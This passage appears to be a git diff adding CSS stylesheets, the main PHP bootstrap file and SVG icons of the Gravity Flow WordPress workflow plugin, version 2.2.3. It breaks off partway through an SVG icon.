.rtl #post-body {
margin-left: 0;
padding-left: 0;
}
table#gravityflow-inbox th[data-label="ID"],
table#gravityflow-inbox td[data-label="ID"] {
width:100%!important;
border-top:1px solid #ddd !important;
}
}
div.gf_entry_wrap {
position: relative;
}
table#gravityflow-inbox th[data-label="ID"],
table#gravityflow-inbox td[data-label="ID"] {
width:60px;
}
table#gravityflow-inbox th{
border-top:1px solid #ddd !important;
}
table#gravityflow-inbox{
border-top:1px solid #ddd!important;
}
table#gravityflow-inbox tbody tr{
border-left-width: 3px;
border-left-style: solid;
border-left-color: transparent;
}
.rtl table#gravityflow-inbox tbody tr{
border-left-width: 0;
border-right-width: 3px;
border-right-style: solid;
border-right-color: transparent;
}
#gravityflow-admin-action{
padding: 2px;
line-height: 28px;
height: 28px;
vertical-align: middle;
}
input.small-text{
width: 50px;
}
.tablenav-pages .current-page {
padding-top: 0;
text-align: center;
width: 20px!important;
}
/**** STATUS PAGE ****/
#gravityflow-status-filter label,
#gravityflow-status-filter input,
#gravityflow-status-list .paging-input input,
.detail-view-print label{
display: inline-block;
}
#gravityflow-status-filter .subsubsub li a,
.pagination-links a{
border-bottom: 0;
}
#gravityflow-form-select{
max-width: 200px;
}
/* Bulk Actions */
.tablenav-pages a {
font-weight: 600;
margin-right: 1px;
padding: 0 2px;
}
.rtl .tablenav-pages a {
margin-left: 1px;
margin-right: 0;
}
.tablenav-pages .current-page {
padding-top: 0;
text-align: center;
width: 20px;
}
.tablenav-pages .next-page {
margin-left: 2px;
}
.rtl .tablenav-pages .next-page {
margin-right: 2px;
margin-left: 0;
}
.tablenav a.button-secondary {
display: block;
margin: 3px 8px 0 0;
}
.rtl .tablenav a.button-secondary {
margin: 3px 0 0 8px;
}
.tablenav {
clear: both;
height: 30px;
margin: 6px 0 4px;
vertical-align: middle;
}
.tablenav.themes {
max-width: 98%;
}
.tablenav .tablenav-pages {
float: right;
display: block;
cursor: default;
height: 30px;
color: #555;
line-height: 30px;
font-size: 12px;
}
.rtl .tablenav .tablenav-pages {
float: left;
}
.tablenav-pages{
white-space: nowrap;
}
.tablenav .no-pages,
.tablenav .one-page .pagination-links {
display: none;
}
.tablenav .tablenav-pages a,
.tablenav-pages span.current {
text-decoration: none;
padding: 3px 6px;
}
.tablenav .tablenav-pages a {
padding: 0 10px 3px;
background: #eee;
background: rgba( 0, 0, 0, 0.05 );
font-size: 16px;
font-weight: normal;
}
.tablenav .tablenav-pages a:hover,
.tablenav .tablenav-pages a:focus {
color: #fff;
background: #00a0d2;
}
.tablenav .tablenav-pages a.disabled,
.tablenav .tablenav-pages a.disabled:hover,
.tablenav .tablenav-pages a.disabled:focus,
.tablenav .tablenav-pages a.disabled:active {
color: #a0a5aa;
background: #eee;
background: rgba( 0, 0, 0, 0.05 );
}
.tablenav .displaying-num {
margin-right: 2px;
color: #777;
font-size: 12px;
font-style: italic;
}
.rtl .tablenav .displaying-num {
margin-left: 2px;
margin-right: 0;
}
.tablenav .actions {
overflow: hidden;
padding: 2px 8px 0 0;
}
.rtl .tablenav .actions {
padding: 2px 0 0 8px;
}
.wp-filter .actions {
display: inline-block;
vertical-align: middle;
}
.tablenav .delete {
margin-right: 20px;
}
.rtl .tablenav .delete {
margin-left: 20px;
margin-right: 0;
}
#gravityflow-status-filter .subsubsub {
list-style: none;
margin: 8px 0 0;
padding: 0;
font-size: 13px;
float: left;
color: #666;
}
.rtl #gravityflow-status-filter .subsubsub {
float: right;
}
#gravityflow-status-filter .subsubsub a {
line-height: 2;
padding: .2em;
text-decoration: none;
}
#gravityflow-status-filter .subsubsub a .count,
#gravityflow-status-filter .subsubsub a.current .count {
color: #999;
font-weight: normal;
}
#gravityflow-status-filter .subsubsub a.current {
font-weight: 600;
border: none;
}
#gravityflow-status-filter .subsubsub li {
display: inline-block;
margin: 0;
padding: 0;
white-space: nowrap;
}
.button, .button-secondary {
background: #f7f7f7 none repeat scroll 0 0;
border-color: #cccccc;
box-shadow: 0 1px 0 #fff inset, 0 1px 0 rgba(0, 0, 0, 0.08);
color: #555;
vertical-align: top;
}
.button, .button-secondary {
border-radius: 3px;
border-style: solid;
border-width: 1px;
box-sizing: border-box;
cursor: pointer;
display: inline-block;
font-size: 13px;
margin: 0;
padding: 0 10px 1px;
text-decoration: none;
white-space: nowrap;
}
input.medium-text.datepicker{
width:90px!important;
}
label.screen-reader-text{
position: absolute;
margin: -1px;
padding: 0;
height: 1px;
width: 1px;
overflow: hidden;
clip: rect(0 0 0 0);
border: 0;
}
table.wp-list-table.entries {
border-collapse:collapse;
width:100%;
}
table.wp-list-table.entries tr:nth-child(2n) {
background: #f9f9f9 none repeat scroll 0 0;
}
.rtl table.wp-list-table.entries tr:nth-child(2n) {
background: #f9f9f9 none repeat scroll 100% 0;
}
table.wp-list-table.entries td a,
table.wp-list-table.entries td .gravityflow-empty {
text-decoration:none!important;
padding:10px;
height:100%;
border-bottom:none;
box-shadow: none;
}
table.wp-list-table.entries th,
table.wp-list-table.entries td.column-cb {
border-bottom:1px solid #ddd;
padding: 10px;
}
table.wp-list-table.entries td.column-cb{
border-top:0;
}
table.wp-list-table.entries th[data-label="ID"],
table.wp-list-table.entries td[data-label="ID"] {
width:70px;
/*border-left:1px solid #ddd;*/
}
.check-column{
width:30px;
}
@media screen and (max-width: 700px) {
#post-body {
clear: left;
float: right;
width: 100%;
}
.rtl #post-body {
clear: right;
float: left;
}
table.wp-list-table.entries {
border: 0;
width:100%;
}
table.wp-list-table.entries thead,
table.wp-list-table.entries tfoot{
display: none;
}
table.wp-list-table.entries tr {
margin-bottom: 10px;
display: block;
border-bottom: 2px solid #ddd;
}
table.wp-list-table.entries th,
table.wp-list-table.entries td {
display: block!important;
text-align: right;
font-size: 13px;
border-bottom: 1px dotted #ccc;
border-left: 1px dotted #ccc;
border-right: 1px dotted #ccc;
}
.rtl table.wp-list-table.entries th,
.rtl table.wp-list-table.entries td {
text-align: left;
}
table.wp-list-table.entries td:last-child {
border-bottom: 0;
}
table.wp-list-table.entries th:before,
table.wp-list-table.entries td:before {
content: attr(data-label);
float: left;
text-transform: uppercase;
font-weight: bold;
padding:5px;
}
.has-right-sidebar #post-body {
margin-right: 0;
padding-right: 0;
}
.rtl .has-right-sidebar #post-body {
margin-left: 0;
padding-left: 0;
}
table.wp-list-table.entries th,
table.wp-list-table.entries td[data-label="ID"] {
width:100%!important;
}
table.wp-list-table.entries th{
border-top:1px solid #ddd !important;
}
}
.gform-field-filter select,
.gform-field-filter input{
padding:4px;
vertical-align: top;
height: inherit;
}
.gform-field-filter input{
width: 150px;
}
.gravityflow-no-sidebar #minor-publishing{
padding:10px;
}
#minor-publishing ul{
margin: 0;
}
#minor-publishing ul li{
list-style-type: none;
margin: 0 0 10px 0;
}
#minor-publishing h4 {
margin-bottom:10px;
}
.gravityflow-note-avatar span > i {
width:65px;
height:65px;
display:inline-block;
font-size:2.5em;
margin:5px;
color:#0074a2;
}
div.gravityflow_validation_error {
border-bottom: 2px solid #790000;
border-top: 2px solid #790000;
clear: both;
color: #790000;
font-size: 1.2em;
font-weight: bold;
margin-bottom: 1.6em;
padding: 1em 0;
width: 97.5%;
}

1
css/frontend.min.css vendored Normal file

File diff suppressed because one or more lines are too long

135
css/inbox.css Normal file
View File

@@ -0,0 +1,135 @@
table#gravityflow-inbox thead tr {
background: #FFF
}
table#gravityflow-inbox tr:nth-child(even) {
background: #f9f9f9
}
table#gravityflow-inbox tr:nth-child(odd) {
background: #FFF
}
table#gravityflow-inbox tbody tr{
border-left-width: 5px;
border-left-style: solid;
border-left-color: transparent;
}
.rtl table#gravityflow-inbox tbody tr{
border-left-width: 0;
border-right-width: 5px;
border-right-style: solid;
border-right-color: transparent;
}
table#gravityflow-inbox {
border-collapse: collapse;
margin-top:10px;
}
table#workflow-inbox tr:hover {
background-color: #808080;
}
table#gravityflow-inbox td {
display: table-cell;
padding: 0px;
}
table#gravityflow-inbox td a {
text-decoration: none;
display: block;
padding: 10px;
height: 100%;
}
#gravityflow-no-pending-tasks-container {
-webkit-transform-style: preserve-3d;
-moz-transform-style: preserve-3d;
transform-style: preserve-3d;
height: 400px;
text-align: center;
}
#gravityflow-no-pending-tasks-content {
color: silver;
font-size: 2em;
position: relative;
top: 50%;
transform: translateY(-50%);
}
i.gravityflow-inbox-check {
font-size: 5em;
}
table#gravityflow-inbox th[data-label="ID"],
table#gravityflow-inbox td[data-label="ID"] {
width: 30px !important;
}
.gravityflow-actions-locked{
-webkit-transition: all 0.5s ease;
-moz-transition: all 0.5s ease;
-o-transition: all 0.5s ease;
transition: all 0.5s ease;
-webkit-filter: brightness(1.8) grayscale(1) opacity(.5);
-moz-filter: brightness(1.8) grayscale(1) opacity(.5);
filter: brightness(1.8) grayscale(1) opacity(.5);
}
.gravityflow-action,
.gravityflow-actions-unlock{
cursor: pointer;
margin-right: 5px;
}
.rtl .gravityflow-action,
.rtl .gravityflow-actions-unlock{
margin-left: 5px;
margin-right: 0;
}
.gravityflow-actions-lock{
margin-right: 5px;
}
.rtl .gravityflow-actions-lock{
margin-left: 5px;
margin-right: 0;
}
.gravityflow-actions{
text-align: center;
white-space: nowrap;
padding: 10px;
}
.gravityflow-actions-unlock,
.gravityflow-actions-spinner{
display: none;
}
.gravityflow-action-processed{
cursor: default;
}
.gravityflow-actions-note-field-container{
position:absolute;
z-index: 99;
text-align: left;
background-color: white;
border:1px solid silver;
padding: 5px;
}
.rtl .gravityflow-actions-note-field-container{
text-align: right;
}
.gravityflow-actions-note-field-container textarea {
width:200px;
}

1
css/inbox.min.css vendored Normal file
View File

@@ -0,0 +1 @@
table#gravityflow-inbox thead tr,table#gravityflow-inbox tr:nth-child(odd){background:#FFF}table#gravityflow-inbox tr:nth-child(even){background:#f9f9f9}table#gravityflow-inbox tbody tr{border-left-width:5px;border-left-style:solid;border-left-color:transparent}.rtl table#gravityflow-inbox tbody tr{border-left-width:0;border-right-width:5px;border-right-style:solid;border-right-color:transparent}table#gravityflow-inbox{border-collapse:collapse;margin-top:10px}table#workflow-inbox tr:hover{background-color:grey}table#gravityflow-inbox td{display:table-cell;padding:0}table#gravityflow-inbox td a{text-decoration:none;display:block;padding:10px;height:100%}#gravityflow-no-pending-tasks-container{-webkit-transform-style:preserve-3d;-moz-transform-style:preserve-3d;transform-style:preserve-3d;height:400px;text-align:center}#gravityflow-no-pending-tasks-content{color:silver;font-size:2em;position:relative;top:50%;transform:translateY(-50%)}i.gravityflow-inbox-check{font-size:5em}table#gravityflow-inbox td[data-label=ID],table#gravityflow-inbox th[data-label=ID]{width:30px!important}.gravityflow-actions-locked{-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;transition:all .5s ease;-webkit-filter:brightness(1.8) grayscale(1) opacity(.5);-moz-filter:brightness(1.8) grayscale(1) opacity(.5);filter:brightness(1.8) grayscale(1) opacity(.5)}.gravityflow-action,.gravityflow-actions-unlock{cursor:pointer;margin-right:5px}.rtl .gravityflow-action,.rtl .gravityflow-actions-unlock{margin-left:5px;margin-right:0}.gravityflow-actions-lock{margin-right:5px}.rtl .gravityflow-actions-lock{margin-left:5px;margin-right:0}.gravityflow-actions{text-align:center;white-space:nowrap;padding:10px}.gravityflow-actions-spinner,.gravityflow-actions-unlock{display:none}.gravityflow-action-processed{cursor:default}.gravityflow-actions-note-field-container{position:absolute;z-index:99;text-align:left;background-color:#fff;border:1px solid silver;padding:5px}.rtl .gravityflow-actions-note-field-container{text-align:right}.gravityflow-actions-note-field-container textarea{width:200px}

2
css/index.php Normal file
View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

125
css/multi-select.css Normal file
View File

@@ -0,0 +1,125 @@
.ms-container{
background: transparent url('../images/switch.png') no-repeat 50% 50%;
width: 370px;
}
.ms-container:after{
content: ".";
display: block;
height: 0;
line-height: 0;
font-size: 0;
clear: both;
min-height: 0;
visibility: hidden;
}
.ms-container .ms-selectable, .ms-container .ms-selection{
color: #555555;
float: left;
width: 45%;
}
.rtl .ms-container .ms-selectable, .ms-container .ms-selection{
float: right;
}
.ms-container .ms-selection{
float: right;
}
.rtl .ms-container .ms-selection{
float: left;
}
.ms-container .ms-list{
background: #fff;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-webkit-transition: border linear 0.2s, box-shadow linear 0.2s;
-moz-transition: border linear 0.2s, box-shadow linear 0.2s;
-ms-transition: border linear 0.2s, box-shadow linear 0.2s;
-o-transition: border linear 0.2s, box-shadow linear 0.2s;
transition: border linear 0.2s, box-shadow linear 0.2s;
border: 1px solid #ccc;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
position: relative;
height: 200px;
padding: 0;
overflow-y: auto;
}
.ms-container .ms-list.ms-focus{
border-color: rgba(82, 168, 236, 0.8);
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
outline: 0;
outline: thin dotted \9;
}
.ms-container ul{
margin: 0;
list-style-type: none;
padding: 0;
}
.ms-container .ms-optgroup-container{
width: 100%;
}
.ms-container .ms-optgroup-label{
margin: 0;
padding: 5px 0px 0px 5px;
cursor: pointer;
color: #999;
}
.rtl .ms-container .ms-optgroup-label{
padding: 5px 5px 0px 0px;
}
.ms-container .ms-selectable li.ms-elem-selectable,
.ms-container .ms-selection li.ms-elem-selection{
border-bottom: 1px #eee solid;
padding: 2px 10px;
color: #555;
font-size: 14px;
}
.ms-container .ms-selectable li.ms-hover,
.ms-container .ms-selection li.ms-hover{
cursor: pointer;
color: #fff;
text-decoration: none;
background-color: #08c;
}
.ms-container .ms-selectable li.disabled,
.ms-container .ms-selection li.disabled{
background-color: #eee;
color: #aaa;
cursor: text;
}
.ms-container .search-input {
width: 100%;
margin-bottom: 10px;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-webkit-transition: border linear 0.2s, box-shadow linear 0.2s;
-moz-transition: border linear 0.2s, box-shadow linear 0.2s;
-ms-transition: border linear 0.2s, box-shadow linear 0.2s;
-o-transition: border linear 0.2s, box-shadow linear 0.2s;
transition: border linear 0.2s, box-shadow linear 0.2s;
border: 1px solid #ccc;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
padding: 3px 5px;
display: none;
}

1
css/multi-select.min.css vendored Normal file
View File

@@ -0,0 +1 @@
.ms-container{background:url(../images/switch.png) 50% 50% no-repeat;width:370px}.ms-container:after{content:".";display:block;height:0;line-height:0;font-size:0;clear:both;min-height:0;visibility:hidden}.ms-container .ms-selectable,.ms-container .ms-selection{color:#555;float:left;width:45%}.ms-container .ms-selection,.rtl .ms-container .ms-selectable{float:right}.rtl .ms-container .ms-selection{float:left}.ms-container .ms-list{background:#fff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-ms-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s;border:1px solid #ccc;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;position:relative;height:200px;padding:0;overflow-y:auto}.ms-container .ms-list.ms-focus{border-color:rgba(82,168,236,.8);-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);outline:0;outline:dotted thin\9}.ms-container ul{margin:0;list-style-type:none;padding:0}.ms-container .ms-optgroup-container{width:100%}.ms-container .ms-optgroup-label{margin:0;padding:5px 0 0 5px;cursor:pointer;color:#999}.rtl .ms-container .ms-optgroup-label{padding:5px 5px 0 0}.ms-container .ms-selectable li.ms-elem-selectable,.ms-container .ms-selection li.ms-elem-selection{border-bottom:1px #eee solid;padding:2px 10px;color:#555;font-size:14px}.ms-container .ms-selectable li.ms-hover,.ms-container .ms-selection li.ms-hover{cursor:pointer;color:#fff;text-decoration:none;background-color:#08c}.ms-container .ms-selectable li.disabled,.ms-container .ms-selection li.disabled{background-color:#eee;color:#aaa;cursor:text}.ms-container .search-input{width:100%;margin-bottom:10px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-ms-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s;border:1px solid #ccc;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;padding:3px 5px;display:none}

18
css/settings.css Normal file
View File

@@ -0,0 +1,18 @@
table.gravityflow-settings-labels th {
min-width:100px;
text-align:left;
}
.rtl table.gravityflow-settings-labels th {
text-align:right;
}
.oauth-not-verified, .oauth-failed, p.error {
color:red;
font-weight:bold;
}
.oauth-verified, .oauth-success {
color:green;
font-weight:bold;
}

1
css/settings.min.css vendored Normal file
View File

@@ -0,0 +1 @@
table.gravityflow-settings-labels th{min-width:100px;text-align:left}.rtl table.gravityflow-settings-labels th{text-align:right}.oauth-failed,.oauth-not-verified,p.error{color:red;font-weight:700}.oauth-success,.oauth-verified{color:green;font-weight:700}

43
css/status.css Normal file
View File

@@ -0,0 +1,43 @@
.wrap {
position: static !important;
}
.column-id{
width:70px;
white-space:nowrap;
}
#gravityflow-status-filters{
clear: both;
background: #f5f5f5;
background-image: -webkit-gradient(linear,left bottom,left top,from(#f5f5f5),to(#fafafa));
background-image: -webkit-linear-gradient(bottom,#f5f5f5,#fafafa);
background-image: -moz-linear-gradient(bottom,#f5f5f5,#fafafa);
background-image: -o-linear-gradient(bottom,#f5f5f5,#fafafa);
background-image: linear-gradient(to top,#f5f5f5,#fafafa);
border-color: #dfdfdf;
overflow: auto;
margin: 8px 0;
padding: 12px;
border-width: 1px;
border-style: solid;
border-radius: 3px;
font-size: 13px;
line-height: 2.1em;
}
.rtl #gravityflow-status-filters{
background-image: -webkit-gradient(linear,right bottom,right top,from(#f5f5f5),to(#fafafa));
}
#entry-id{
padding:3px;
}
#gravityflow-form-select,
#entry-id,
#gravityflow-status-date-filters,
#entry_filters{
vertical-align: top;
}
.gravityflow-export-status-button{
margin-top:20px;
}

1
css/status.min.css vendored Normal file
View File

@@ -0,0 +1 @@
.wrap{position:static!important}.column-id{width:70px;white-space:nowrap}#gravityflow-status-filters{clear:both;background:#f5f5f5;background-image:-webkit-gradient(linear,left bottom,left top,from(#f5f5f5),to(#fafafa));background-image:-webkit-linear-gradient(bottom,#f5f5f5,#fafafa);background-image:-moz-linear-gradient(bottom,#f5f5f5,#fafafa);background-image:-o-linear-gradient(bottom,#f5f5f5,#fafafa);background-image:linear-gradient(to top,#f5f5f5,#fafafa);border-color:#dfdfdf;overflow:auto;margin:8px 0;padding:12px;border-width:1px;border-style:solid;border-radius:3px;font-size:13px;line-height:2.1em}.rtl #gravityflow-status-filters{background-image:-webkit-gradient(linear,right bottom,right top,from(#f5f5f5),to(#fafafa))}#entry-id{padding:3px}#entry-id,#entry_filters,#gravityflow-form-select,#gravityflow-status-date-filters{vertical-align:top}.gravityflow-export-status-button{margin-top:20px}

28
css/submit.css Normal file
View File

@@ -0,0 +1,28 @@
#gravityflow-initiate-list li{
border: 4px solid #fff;
}
#gravityflow-initiate-list li a {
text-decoration: none;
}
#gravityflow-initiate-list li a .panel{
padding:20px;
}
.gravityflow-initiate-form-title{
font-size: 1.6em;
}
.gravityflow-initiate-form-description{
font-size: 1.2em;
margin-top:10px;
}

1
css/submit.min.css vendored Normal file
View File

@@ -0,0 +1 @@
#gravityflow-initiate-list li{border:4px solid #fff}#gravityflow-initiate-list li a{text-decoration:none}#gravityflow-initiate-list li a .panel{padding:20px}.gravityflow-initiate-form-title{font-size:1.6em}.gravityflow-initiate-form-description{font-size:1.2em;margin-top:10px}

182
gravityflow.php Normal file
View File

@@ -0,0 +1,182 @@
<?php
/**
Plugin Name: Gravity Flow
Plugin URI: https://gravityflow.io
Description: Build Workflow Applications with Gravity Forms.
Version: 2.2.3
Author: Gravity Flow
Author URI: https://gravityflow.io
License: GPL-3.0+
Text Domain: gravityflow
Domain Path: /languages
------------------------------------------------------------------------
Copyright 2015-2018 Steven Henty S.L.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses.
*/
define( 'GRAVITY_FLOW_VERSION', '2.2.3' );
define( 'GRAVITY_FLOW_EDD_STORE_URL', 'https://gravityflow.io' );
define( 'GRAVITY_FLOW_EDD_ITEM_NAME', 'Gravity Flow' );
add_action( 'gform_loaded', array( 'Gravity_Flow_Bootstrap', 'load' ), 1 );
/**
* Class Gravity_Flow_Bootstrap
*/
class Gravity_Flow_Bootstrap {
/**
* Includes the required files and registers the add-on with Gravity Forms.
*/
public static function load() {
if ( ! method_exists( 'GFForms', 'include_feed_addon_framework' ) ) {
return;
}
if ( ! class_exists( 'Gravity_Flow_EDD_SL_Plugin_Updater' ) ) {
include( dirname( __FILE__ ) . '/includes/EDD_SL_Plugin_Updater.php' );
}
if ( ! class_exists( 'Gravity_Flow_API' ) ) {
include( dirname( __FILE__ ) . '/includes/class-api.php' );
}
if ( ! class_exists( 'Gravity_Flow_Web_API' ) ) {
include( dirname( __FILE__ ) . '/includes/class-web-api.php' );
}
if ( ! class_exists( 'Gravity_Flow_REST_API' ) ) {
include( dirname( __FILE__ ) . '/includes/class-rest-api.php' );
}
if ( ! class_exists( 'Gravity_Flow_Extension' ) ) {
include( dirname( __FILE__ ) . '/includes/class-extension.php' );
}
if ( ! class_exists( 'Gravity_Flow_Feed_Extension' ) ) {
include( dirname( __FILE__ ) . '/includes/class-feed-extension.php' );
}
if ( class_exists( 'GravityView_Field' ) ) {
include( dirname( __FILE__ ) . '/includes/class-gravityview-detail-link.php' );
}
require_once( dirname( __FILE__ ) . '/includes/class-common.php' );
require_once( 'includes/class-connected-apps.php' );
require_once( 'class-gravity-flow.php' );
require_once( 'includes/models/class-activity.php' );
require_once( 'includes/integrations/class-gp-nested-forms.php' );
self::include_assignees();
self::include_steps();
self::include_fields();
self::include_merge_tags();
GFAddOn::register( 'Gravity_Flow' );
do_action( 'gravityflow_loaded' );
}
/**
* Includes the assignee classes.
*/
public static function include_assignees() {
require_once( dirname( __FILE__ ) . '/includes/assignees/class-assignees.php' );
require_once( dirname( __FILE__ ) . '/includes/assignees/class-assignee.php' );
}
/**
* Includes the step classes.
*/
public static function include_steps() {
require_once( dirname( __FILE__ ) . '/includes/steps/class-step.php' );
require_once( dirname( __FILE__ ) . '/includes/steps/class-steps.php' );
require_once( dirname( __FILE__ ) . '/includes/steps/class-step-feed-add-on.php' );
foreach ( glob( dirname( __FILE__ ) . '/includes/steps/class-step-*.php' ) as $gravity_flow_filename ) {
require_once( $gravity_flow_filename );
}
}
/**
* Includes the field classes.
*/
public static function include_fields() {
require_once( dirname( __FILE__ ) . '/includes/fields/class-fields.php' );
foreach ( glob( dirname( __FILE__ ) . '/includes/fields/class-field-*.php' ) as $gravity_flow_filename ) {
require_once( $gravity_flow_filename );
}
}
/**
* Includes the merge tag classes.
*/
public static function include_merge_tags() {
require_once( dirname( __FILE__ ) . '/includes/merge-tags/class-merge-tag.php' );
require_once( dirname( __FILE__ ) . '/includes/merge-tags/class-merge-tags.php' );
foreach ( glob( dirname( __FILE__ ) . '/includes/merge-tags/class-merge-tag-*.php' ) as $gravity_flow_filename ) {
require_once( $gravity_flow_filename );
}
}
}
/**
* Returns an instance of the Gravity_Flow class.
*
* @return Gravity_Flow|null
*/
function gravity_flow() {
if ( class_exists( 'Gravity_Flow' ) ) {
return Gravity_Flow::get_instance();
}
return null;
}
add_action( 'init', 'gravityflow_edd_plugin_updater', 0 );
/**
* Initialize the EDD plugin updater.
*/
function gravityflow_edd_plugin_updater() {
$gravity_flow = gravity_flow();
if ( $gravity_flow ) {
if ( defined( 'GRAVITY_FLOW_LICENSE_KEY' ) ) {
$license_key = GRAVITY_FLOW_LICENSE_KEY;
} else {
$settings = gravity_flow()->get_app_settings();
$license_key = trim( rgar( $settings, 'license_key' ) );
}
new Gravity_Flow_EDD_SL_Plugin_Updater( GRAVITY_FLOW_EDD_STORE_URL, __FILE__, array(
'version' => GRAVITY_FLOW_VERSION,
'license' => $license_key,
'item_name' => GRAVITY_FLOW_EDD_ITEM_NAME,
'author' => 'Steven Henty',
) );
}
}

View File

@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 960 960"
height="960"
width="960"
xml:space="preserve"
id="svg2"
version="1.1"><metadata
id="metadata8"><rdf:RDF><cc:Work
rdf:about=""><dc:format>image/svg+xml</dc:format><dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" /></cc:Work></rdf:RDF></metadata><defs
id="defs6" /><g
transform="matrix(1.3333333,0,0,-1.3333333,0,960)"
id="g10"><g
transform="scale(0.1)"
id="g12"><path
id="path14"
style="fill:#476ebb;fill-opacity:1;fill-rule:nonzero;stroke:none"
d="M 0,0 H 7200 V 7200 H 0 Z" /><path
id="path16"
style="fill:#ffffff;fill-opacity:1;fill-rule:nonzero;stroke:none"
d="m 5122.98,3314.25 c 110.27,76.49 142.28,176.74 142.28,272.89 0,96.2 0,-91.93 0,42.47 0,100.07 -55.24,178.07 -142.46,240.68 -73.7,52.93 -2746.16,1910.88 -2746.16,1910.88 0,0 0,-241.37 0,-395.26 0,-137.27 74.39,-183.08 167.77,-249.03 134.54,-94.97 2221.39,-1543.94 2221.39,-1543.94 0,0 -2114.46,-1461.14 -2240.91,-1545.21 -131.37,-87.05 -148.25,-146.69 -148.25,-262.22 0,-115.55 0,-369.86 0,-369.86 0,0 2626.92,1815.76 2746.34,1898.6" /><path
id="path18"
style="fill:#ffffff;fill-opacity:1;fill-rule:nonzero;stroke:none"
d="m 2376.64,4471.14 c 0,-107.02 0,-271.81 0,-271.81 0,0 824.99,-576.4 984.85,-682.15 136.29,-90.39 251.3,-83.35 390.43,19.3 86.35,63.68 167.61,119.77 167.61,119.77 0,0 -1202.23,833.98 -1329.04,917.86 -101.47,67.26 -213.85,19.52 -213.85,-102.97" /></g></g></svg>

After

Width:  |  Height:  |  Size: 1.8 KiB

16
images/agilecrm-icon.svg Normal file
View File

@@ -0,0 +1,16 @@
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="243 44 147 102"><title>agilecrm-cloudicon-svg.svg</title><desc></desc>
<metadata id="{d4}1"><title>metadata1</title><desc></desc>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" id="{d4}5">
<cc:Work xmlns:cc="http://creativecommons.org/ns#" rdf:about="" id="{d4}7">
<dc:format xmlns:dc="http://purl.org/dc/elements/1.1/" id="{d4}8">image/svg+xml</dc:format>
<dc:type xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:resource="http://purl.org/dc/dcmitype/StillImage" id="{d4}9"/>
<dc:title xmlns:dc="http://purl.org/dc/elements/1.1/" id="{d4}10"/>
</cc:Work>
</rdf:RDF>
</metadata>
<defs id="{d4}2"><title>defs1</title><desc></desc></defs>
<sodipodi:namedview xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" pagecolor="#ffffff" bordercolor="#666666" borderopacity="1" objecttolerance="10" gridtolerance="10" guidetolerance="10" xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" inkscape:pageopacity="0" inkscape:pageshadow="2" inkscape:window-width="1366" inkscape:window-height="705" id="{d4}3" showgrid="false" inkscape:zoom="0.36202532" inkscape:cx="395" inkscape:cy="127.5" inkscape:window-x="-8" inkscape:window-y="-8" inkscape:window-maximized="1" inkscape:current-layer="#409de4ff"/>
<g id="{d4}4"><title>g1</title><desc></desc>
